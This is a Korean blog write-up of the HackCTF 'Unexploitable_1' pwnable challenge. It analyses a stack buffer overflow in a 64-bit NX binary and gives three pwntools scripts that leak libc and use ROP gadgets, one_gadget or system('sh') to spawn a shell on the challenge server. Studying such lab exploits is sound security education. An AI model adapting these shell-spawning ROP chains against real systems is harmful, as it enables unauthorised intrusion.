[HackCTF] Unexploitable_1
System/PWNABLE

[HackCTF] Unexploitable_1

check

- 64bit

- NX

 

Analyze

pseudo code (IDA)

- 0x10byte만큼 할당된 스택 변수(문자열) s에 fgets함수를 이용해 64byte (= 0x40 byte)만큼 입력받는다. 이 때 버퍼오버플로우가 발생할 수 있다.

- main함수의 내용을 보면 system@plt를 이미 가지고 있다고 한다. 그래서 IDA를 통해 좀 더 살펴보면 

이런 함수가 있고 이 가젯을 사용하라고 한다.

어셈블리 코드로 다시 확인해보면

"call system" 가젯을 사용할 수 있는게 아닌가 싶다.

- "call system" : 0x4006d4

 

gadgets

one_gadget --> exploit (1)

Exploit (1)

from pwn import *
#context.log_level = 'debug'

#p = process("./Unexploitable_1")
p = remote("ctf.j0n9hyun.xyz", 3023)
elf = ELF("./Unexploitable_1")
libc = elf.libc

main = elf.symbols['main']
fgets_got = elf.got['fgets']
fgets_off = libc.symbols['fgets']
system_plt = elf.plt['system']

#systemcall = 0x4006d4
prdi = 0x4007d3

one_gadget = 0x45226

pl = "A"*(0x10 + 8)
pl += p64(prdi)
pl += p64(fgets_got)
pl += p64(system_plt)
pl += p64(main)

p.sendlineafter("\n", pl)
libcbase = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00")) - fgets_off

pl = "A"*(0x10 + 8)
pl += p64(one_gadget + libcbase)

p.sendlineafter("\n", pl)
p.interactive()

△ 가장 기본적인(?) ROP 풀이법

한 개의 인자만을 갖는 system의 plt의 인자로 fgets_got를 주면서 fgets 함수의 원본 주소를 leak한다! (꼭 한 개의 인자를 가지는 함수의 plt주소를 사용할 필요는 없지만,,, 인자들의 순서와 값을 채워주기 힘들어지니까..)

Exploit (2)

system("sh") 으로 익스플로잇하는 방법이다.

위 exploit 방법에서 libcbase를 leak한 이유는 "/bin/sh"를 사용하기 위함(라이브러리의 one_gadget을 사용하기 위함)인데, 바이너리 내에 존재하는 문자열 "sh"로 바로 exploit할 수 있다면 system@plt를 이용해 exploit할 수 있게 된다!

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3023)
elf = ELF("./Unexploitable_1")
libc = elf.libc

prdi = 0x4007d3
sh = 0x4003bf

pl = "A"*(0x10 + 8)
pl += p64(prdi)
pl += p64(sh)
pl += p64(elf.plt['system'])

p.sendlineafter("\n", pl)
p.interactive()

또는 system@plt를 직접 넣지 않고 바이너리 내에 있던 gift 함수에서 system 함수를 호출하던 가젯을 이용할 수 있다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3023)
elf = ELF("./Unexploitable_1")
libc = elf.libc

prdi = 0x4007d3
sh = 0x4003bf

pl = "A"*(0x10 + 8)
pl += p64(prdi)
pl += p64(sh)
pl += p64(0x4006d4) #call system

p.sendlineafter("\n", pl)
p.interactive()
SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] Register  (0) 2021.04.29
[ROP Emporium] write4 (재)  (0) 2021.04.17
[ROP Emporium] callme  (0) 2021.04.02
[ROP Emporium] split32  (0) 2021.03.26
[RopEmporium] split  (0) 2021.03.21